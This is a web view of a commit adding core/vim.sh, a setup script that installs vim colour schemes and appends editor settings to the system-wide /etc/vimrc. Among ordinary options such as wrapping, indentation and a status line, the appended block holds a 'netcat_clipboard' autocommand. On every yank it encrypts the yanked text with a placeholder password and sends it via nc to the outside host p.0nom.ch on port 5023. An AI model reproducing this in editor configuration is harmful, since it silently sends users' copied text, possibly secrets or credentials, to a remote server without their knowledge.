summaryrefslogtreecommitdiff
path: root/core/vim.sh
diff options
context:
space:
mode:
Diffstat (limited to 'core/vim.sh')
-rwxr-xr-xcore/vim.sh47
1 files changed, 47 insertions, 0 deletions
diff --git a/core/vim.sh b/core/vim.sh
new file mode 100755
index 0000000..5ceedf1
--- /dev/null
+++ b/core/vim.sh
@@ -0,0 +1,47 @@
1#!/bin/bash
2
3mkdir -p /usr/share/vim/vimfiles/colors/
4
5cd "$(dirname "${BASH_SOURCE[0]}")" || exit
6
7cp files/* /usr/share/vim/vimfiles/colors/
8
9cat << EOF >> /etc/vimrc
10augroup netcat_clipboard
11 au!
12 au TextYankPost * call system("openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.0nom.ch 5023", @")
13augroup END
14
15" Enable line wrapping
16set wrap
17
18" Optional: Make wrapped lines easier to read by indenting them
19set breakindent
20set breakindentopt=shift:1
21
22syntax on
23set autoindent
24set number
25set mouse=a
26set expandtab
27set shiftwidth=2
28set softtabstop=2
29set tabstop=2
30
31set autoindent
32set smartindent
33filetype plugin indent on
34
35set laststatus=2 " permanent status bar
36set statusline=%F " shows full file path
37
38if (has("termguicolors"))
39 set termguicolors
40endif
41
42source /usr/share/vim/vimfiles/colors/
43colorscheme nightowl
44EOF
45
46
47